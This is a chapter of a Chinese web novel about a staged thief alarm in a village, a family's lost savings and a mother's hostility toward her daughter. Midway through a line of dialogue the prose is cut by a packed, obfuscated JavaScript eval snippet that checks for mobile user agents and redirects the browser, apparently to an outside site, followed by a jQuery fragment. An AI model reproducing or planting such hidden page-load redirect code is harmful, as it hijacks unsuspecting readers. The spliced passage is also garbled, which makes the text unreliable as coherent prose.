她走到院子里,再次做出惊慌失措的样子,打开院门,朝着巷子口方向张望,仿佛还在期盼能看见小偷的影子,或者等待大人回来。寒风卷着地上的枯叶打旋,吹在她脸上,冰冷刺骨,却让她格外清醒。
她打开厨房门,走出去,双手拢在嘴边,用尽力气大喊:“抓小偷啊!有小偷!偷东西了!”
声音因紧张而变调。
喊声惊动了邻近的几户人家。片刻,有人过来问:“咋了?婷婷?”是隔壁的二伯娘系着围裙走了出来。
卫南亭急中生智。
“二伯娘!有小偷!刚从我弟屋里跑出来,往村后跑了!”卫南亭气喘吁吁,指着侧门方向,脸上惊魂未定。
“哎呀!这杀千刀的!年关近了贼也多了!”二伯娘拍着大腿。
二伯娘倒是热心,作势要进屋,“快看看,丢了啥要紧东西没?”
卫南亭知道二伯娘手脚不干净,不想让她进屋,她急中生智:“二伯娘,刚我看见小偷朝你家跑去的。”
二伯娘脸色一变,赶紧往家跑。路上碰见几个闻讯赶来的村民,被她招呼到二伯娘家。
那边,卫南亭见大伯娘过来了,请她帮忙照看着,她说去抓小偷。
刚到二伯家后院的土墙根,就看见一个穿件脏兮兮蓝布衫的陌生男人,正慌里慌张地扒着墙头往上蹬。那人尖嘴猴腮,眼珠子滴溜溜乱转,手里还紧紧攥着个鼓鼓囊囊的粗布口袋,一看就不是本村人。
“你干啥的!”二伯娘心头一紧,当即厉声喝道。
那男人被这突如其来的声音吓得浑身一哆嗦,脚下一滑,竟直接从墙头栽了下来,“噗通”一声摔在墙根的柴火堆里,手里的布袋也脱了手。他魂飞魄散地瞥了卫南亭一眼,也顾不上捡东西,连滚爬爬地跳起来,像只受惊的野狗似的,扭头就朝着村外没命地窜去。
卫南亭立刻在后头紧追,一边追一边继续高喊:“站住!抓贼啊——”
她刻意控制着距离,既让那仓皇的背影始终在视线内,又绝不真的追上。直追到村口的晒谷场边,眼看那蓝影子连滚带爬地冲上了通往北边荒地的土路,她才喘着气停下脚步,双手拢在嘴边,用尽力气朝着村落方向拉长了声音呼喊:“快来人啊——有小偷——往北边荒地跑啦——”
尖锐的呼喊像石头砸进水面。不多时,附近几户人家也赶过来了,正在院子里忙活的男人们提着锄头、扁担,女人们攥着烧火棍、笤帚,匆匆聚拢过来。走在最前头的正是刚闻声从家里跑出来的二伯。
“咋了婷婷?谁偷东西?”二伯手里还拎着半截木棍。
卫南亭气息未平,指着北边土路尽头那快要消失的小黑点:“就那人!我在二伯家后院墙根底下撞见的,正扒你家墙头呢!一看就不是好人,见我喊,摔下来就跑!”
“啥?扒我家墙头?!”卫二伯脸都白了,拍着大腿就嚷起来,“哎哟我的老天爷!该不会偷了我家的□□?!快!快去看看!”他这么一嚷,众人也紧张起来,呼啦啦一群人都跟着往二伯家后院涌。
后院墙根下,柴火被扑腾得散乱一地,那个鼓囊囊的粗布口袋就丢在鸡窝旁边。二伯娘扑在鸡窝前,心焦火燎地开始点数:“一、二、三……老花、大白、芦花……”她把十几只鸡来回数了两三遍,又探身进窝里摸了又摸,确认一个没少,连鸡蛋都还在草窝里,这才拍着胸口,长长舒了一口气:“吓死我了……鸡都在,蛋也没动。这杀千刀的,怕是刚翻进来就被婷婷吓着了,没来得及下手!”
众人刚跟着松了一口气,就听见一阵急促的脚步声由远及近。只见村里辈分最高、最讲究“老规矩”的大伯爷,端着个砚台,手里捏着一支蘸饱了浓墨的毛笔,气喘吁吁地赶了过来。老爷子脸涨得通红,银白的胡子气得一翘一翘:“贼呢?偷东西的混账在哪?按老规矩,抓着了非得在他脸上画个‘王八’,再写上‘偷’字,拉去村口晒谷场示众不可!”
可他左右张望,哪里还有贼的影子?只有远处荒地一片寂寥,风声萧萧。
众人看着大伯爷手里那支墨汁淋漓的笔,又想想贼早跑没影了,一时不知该说啥好,场面有些滑稽的安静。
卫南亭看着大伯爷手中那支熟悉的毛笔,墨色浓重,前世的一幕蓦然撞进脑海——也是这样的午后,但是大家是抓到了偷鸡贼,被激怒的村民们押着那面如死灰的男人,大伯爷就是用这样一支笔,在他额头上狠狠写下一个“偷”字……
那场景曾让她觉得解气,如今想来,却只觉得一阵复杂的沉闷。她收回目光,垂下眼睫,耳边是二伯娘庆幸的絮叨和邻居们七嘴八舌的议论。风穿过空荡荡的村口,卷起几片枯叶,打着旋,最终又归于尘土。
“婷婷,你怎么发现小偷的呢?”二伯娘放松下来,问。
卫南亭:“小偷是从我家出来的……”
“婷婷,你家没事吧?”
“糟糕!我还没有检查过。”
抓小偷的动静,终于惊动了村里打牌闲聊的人。一听说出了小偷,大家都慌了神,生怕自家遭了秧,纷纷丢下手中的牌起身往各自家里赶。
冯玉珍心里更是七上八下,家里柜子里还存着钱呢!
她哪儿还有心思看热闹,拔腿就往家跑。家门口的人很多,她扒开人群就往家里冲。围观的人也跟着进去。
冯玉珍一进儿子房间,看见敞开的柜子和地上乱七八糟的衣物,她脑子“嗡”的一声,三步并作两步冲到柜前。看到空空如也的柜子,她又在房间内四处翻找:“怎么会,怎么可能,就没了??”
冯玉珍傻在原地,不敢置信:棉絮没了,那九捆现金也不翼而飞!
真的没有了!
什么都没有了!
她只觉气血上涌,然后眼前一黑,晕倒过去。
大伯娘几个妇人急忙扶住,又是掐人中的,一阵慌乱。
冯玉珍醒来后,挣扎着起身,踉跄着冲出门,跑到门口动不了,扶着门框颤着声挤出一句“天杀的小偷——”,话音未落,便眼前一黑又晕了过去。
小偷早就跑没了踪影,九千块钱打了水漂,家里所有积蓄一刻清零。卫学良赶回家,见状急得团团转,立马去报了案,可他心里清楚,这钱大概率是追不回来了。每年快过年时都是小偷最猖獗的时候,往常顶多丢鸡鸭,没想到这次损失这么惨重。
冯玉珍又急又怕病倒在床上,连话都说不出来。卫南亭端着菜走进屋,冯玉珍猛地抬头,眼神像淬了毒似的盯着她,仿佛见了仇人。
“……你就是个灾星!祸害!自从有了你,我就没过过一天安生日子!早知道……早知道……”
卫南亭死死盯着母亲那双因为愤怒和损失而扭曲的眼睛,里面除了熟悉的厌恶,还有一种她看不懂的、近乎恐惧的疯狂。一个冰冷得让她浑身战栗的念头,突然毫无征兆地浮上心底:她为什么这么恨我?恨得像我是她的仇人,而不是女儿?
这个念头太过可怕,让她几乎站不稳。她听见自己的声音干涩地响起,像在问母亲,也像在问自己:“妈……我到底是不是你和爸的孩子?”
话音未落,她清楚地看到,冯玉珍脸上那滔天的怒火骤然一僵,瞳孔几不可察地缩了一下,随即被更汹涌的暴怒覆盖:“你疯了吗,竟然说出这样的话?!你要不是我的女儿,我会让你在这个家里。”
但那瞬间的僵硬和慌乱,像一道闪电,劈开了卫南亭心中的某个角落。她说是她的女儿,没说是爸爸的女儿。
“是你!肯定是你这个扫把星!”她指着卫南亭,目眦欲裂,声音尖利又怨毒,“你一回家就没好事!在你舅舅家,把人家家底都掏空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014031|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了;现在回家,又来祸害我们!你这个灾星,我当初生你的时候怎么没直接掐死你!”
卫南亭看着母亲那双毫无怜惜、满是杀意的眼睛,心情又暴躁了,她掐了自己的大腿,不让愤怒淹没理智。
“妈,为什么一发生不好的事情,你就能将错误全推在我的身上?”卫南亭死死盯住冯玉珍的眼睛,“是什么原因,让你对亲生女儿如此怨恨?我难道是你的仇人?”
冯玉珍:“你,你就是我的仇人。没有你,我就不用成天提心吊胆。”
“我让你提心吊胆?你不在乎我的死活,你会为我提心吊胆?”卫南亭笑了:“妈,其实我一点也不明白,我是你和爸的孩子,你为什么会这么讨厌我?难道你讨厌我的出身,还是说我不是我爸的孩子,所以你害怕。”
冯玉珍怒吼:“你瞎说什么?!你怎么不是你爸的孩子!”
卫南亭看见她的脸上分明有一丝慌乱,自己真的不是爸爸的孩子?
“你吼她做什么?关婷婷什么事,要不是你成天出去打牌,家里会被偷?”老实人卫学良终于也发怒了。
他平时不生气,可一旦他发火,冯玉珍就哑火了。
家里的气氛压抑得让人喘不过气,只有卫清晨不受影响,窝在角落里和小伙伴捧着小人书,看得津津有味。只有偶尔被他姐姐压着做作业的时候才会有少许的不快,不快是短暂的,谁让他有个大方的姐姐呢。他拿着姐姐给的新奇玩具可是在小伙伴面前得意极了。
卫学良佝偻着背,坐在冰凉的石头门槛上,手里捏着半截早已熄灭的烟,指节捏得发白。暮色一层层压下来,远处隐约传来别家团年的爆竹声,更衬得自家院子死一般寂静。这年,是彻彻底底没法过了。
但比过年更揪心的,是心里头那个窟窿——大半辈子攒下的家底,没了。整整九千块啊!那是他起早贪黑,风里雨里,一车砖一车沙跑出来的;是他省下烟酒钱,从牙缝里硬抠出来的;是他盘算了一遍又一遍,压在心底最沉甸甸的指望。
他原本都描摹好了:明年,后年……再紧巴两年,定要把这旧房推了,盖出村里头一份的亮堂楼房!红砖到顶,玻璃窗明晃晃的,那该多风光,多提气!
可现在,什么都没了。火光一闪,烧得干干净净,连点灰都没给他留下。那不只是钱,那是他作为男人、作为一家之主,几十年来全部分量的证明,是他预备给这个家、也是给自己挣的最后一份脸面。如今,全成了泡影。
里屋传来冯玉珍高一声低一声的抽噎,抑或是咒骂,嗡嗡地往他耳朵里钻。他却连起身去说句话的力气都没有,甚至,心底里那点湿漉漉的难过底下,隐隐翻涌起一股怨气。
当初,他不是没提过。“这么多现钱放家里,心里慌得很,不如存信用社,安稳,还能生点利息。”他记得自己是这么说的。
可冯玉珍当时就拉下了脸,仿佛他提了个多蠢的主意:“银行?那地方靠得住?哪天说没就没了!钱只有攥在自己手里,搁在自己眼皮子底下,那才叫真的!我收着,你放一百个心!”
他嘴笨,拗不过,也觉得“家”总是最安稳的堡垒。可现在呢?眼皮子底下?她那双眼睛,平时光盯着牌桌了吧!但凡她把这些钱,看得有牌桌上那几张零票一半紧,也不至于让人摸进来,撬了锁,搬了个底朝天!
他知道她懒散,爱摸几圈牌,这些年也惯了。可他总以为,关乎身家性命的老底,她总该上心吧?那是这个家的根啊!她倒好,把根随随便便埋在个旧柜子里,自己转身就去了别家的热闹场。这哪是疏忽?这简直是……没把这个家真正搁在心里头。
夜风刮过院墙,冷飕飕的,直往他骨头缝里钻。卫学良猛地打了个寒颤,把手里那截烟蒂碾碎在脚边。
他心里发凉,空落落的,难受,看不到底。